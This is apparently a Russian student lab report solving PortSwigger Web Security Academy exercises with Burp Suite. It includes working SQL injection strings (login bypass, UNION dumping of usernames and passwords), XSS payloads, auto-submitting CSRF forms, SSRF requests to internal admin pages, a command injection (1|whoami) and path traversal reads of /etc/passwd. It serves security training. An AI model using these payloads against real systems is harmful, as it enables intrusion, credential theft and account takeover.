# Web. Практическая работа №3
## 3.0 Описание работы
В данной работе будем выполнять лабораторные на стенде:
- [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink)
В основном будем использоать Burp Suite.
## 3.1 SQL-injection уязвимости
### 3.1.1 SQL injection vulnerability allowing login bypass
- [https://portswigger.net/web-security/sql-injection/lab-login-bypass](https://portswigger.net/web-security/sql-injection/lab-login-bypass)
Включим перехват, попробуем залогиниться

Перехватим запрос, изменим значение переменной username на administrator' --

Атака успешна, мы админы.

---
### 3.1.2 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
- [https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data](https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data)
Откроем сайт

Перехватим запрос категории и изменим значение переменной category на '+OR+1=1--

Атака успешна

---
### 3.1.3 SQL injection UNION attack, retrieving data from other tables
- [https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables](https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables)
Откроем сайт

Перехватим запрос категории и установим значение переменной category в '+UNION+SELECT+'first','second'--. Так мы увидим где первая строка, а где вторая.

Посмотрим результат, атака успешна, определили положения строк.

Снова перехватим запрос категории и установим значение переменной category '+UNION+SELECT+username,+password+FROM+users--. Так мы выполним запрос к базе данных на выборку логинов/паролей.

Атака успешна

---
### 3.1.4 SQL injection attack, querying the database type and version on MySQL and Microsoft
- [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft)
Откроем сайт

Перехватим запрос категории и установим значение переменной category в '+UNION+SELECT+'first','second'--. Так мы увидим где первая строка, а где вторая.

Посмотрим результат, атака успешна, определили положения строк.

Снова перехватим запрос категории и установим значение переменной category '+UNION+SELECT+@@version,+NULL#. Так мы выполним запрос к базе данных и узнаем версию СУБД

Атака успешна

---
## 3.2 XSS уязвимости:
### 3.2.1 Stored XSS into HTML context with nothing encoded
- [https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded](https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded)
Откроем сайт

Откроем пост, оставим коммент под постом. В комменте напишем < script>alert(1)</script >

Коменнт опубликован

Вернемся к посту, атака успешна

---
### 3.2.2 DOM XSS in document.write sink using source location.search
- [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink)
Откроем сайт, введем в поиске String1

Исследуем элемент String1 видим, что он внутри тега img

Введем в поиске >< svg onload=alert(1)> , атака успешна


---
### 3.2.3 Reflected XSS into a JavaScript string with angle brackets HTML encoded
- [https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded)
Откроем сайт

String1 в поиске

Исследуем элемент String1 видим, что он внутри тега script

В поиске напишем - alert(1) -

Атака успешна

---
### 3.2.4 Reflected DOM XSS
- [https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected)
Откроем сайт

Перехватим запрос поиска

Посмотрим путь

Найдем js файл

Откроем его, увидим что используется eval()

В строку поиска \" -alert ()}//

Атака успешна


---
## 3.3 CSRF:
### 3.3.1 CSRF vulnerability with no defenses
- [https://portswigger.net/web-security/csrf/lab-no-defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
Откроем сайт

Откроем запись в блоге

Зайдем под пользователем wiener

Изменим почту

Перехватим запрос, скопируем адрес

Запустим exploit сервер сохраним эксплойт с телом:
```html=
<html>
<body>
<form method="POST" action="https://0ab700bb03468b3ac0108ed7000a0036.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="user@user.com"/>
<input type="submit" value="Submit request"/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```

Нажмем доставку жертве, атака успешна

---
### 3.3.2 CSRF where token validation depends on request method
- [https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
Откроем сайт

Зайдем под пользователем, обновим адрес почты

Перехватим запрос

Скопируем адрес

Создадим эксплойт с телом:
```html=
<html>
<body>
<form method="GET" action="https://0ab700bb03468b3ac0108ed7000a0036.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="user@user.com"/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```

Доставим жертве, атака успешна

---
## 3.4 SSRF:
### 3.4.1 Basic SSRF against the local server
- [https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost)
Откроем сайт

Попробуем открыть админку

Откроем товар, проверим наличие, перехватим запрос

Изменим переменную stockApi на значение 'http:// localhost/admin'

Получим админку, посмотри html код ссылки удаления carlos, определим отностительный путь и передадим его в localhost

Но не через html а в переменной stockApi

Перехватим запрос в переменную stockApi внесем значение 'http:// localhost/admin/delete?username=carlos'

Атака успешна

---
### 3.4.2 SSRF with filter bypass via open redirection vulnerability
- [https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection)
Откроем сайт

Перехватим запрос на следующий продукт

Изменим переменную stockApi на /product/nextProduct?path=http: //192.168.0.10:8080/admin

Открылась админка, посмотрим html код ссылки удаления

Еще раз перехватим запрос, и изменим stockApi на /poduct/nextProduct?path=http ://192.168.0.12:8080/admin/delete?username=carlos

Пользователь удален

Атака успешна

---
## 3.5 RCE:
### 3.5.1 OS command injection, simple case
- [https://portswigger.net/web-security/os-command-injection/lab-simple](https://portswigger.net/web-security/os-command-injection/lab-simple)
Откроем сайт

Откроем продукт, перехватим запрос на проверку наличия

Изменим переменную storeId на значение 1|whoami

Видим кто мы

Атака успешна

---
## 3.6 Path traversal:
### 3.6.1 File path traversal, simple case
- [https://portswigger.net/web-security/file-path-traversal/lab-simple](https://portswigger.net/web-security/file-path-traversal/lab-simple)
Окроем сайт

Перехватим запрос на загрузке изображения

Изменим переменную filename на ../../../etc/passwd

Атака успешна в ответе содержимое файла /etc/passwd полученное по относительному пути

---
### 3.6.2 File path traversal, traversal sequences blocked with absolute path bypass
- [https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)
Откроем сайт

Откроем продукт, перехватим запрос на загрузку изображения

Изменим переменную filename на значение /etc/passwd

Атака успешна, содержимое файла /etc/passwd в ответе

---
Статистика по лабораторным

---
Выполненные работы







---
На этом данная работа завершена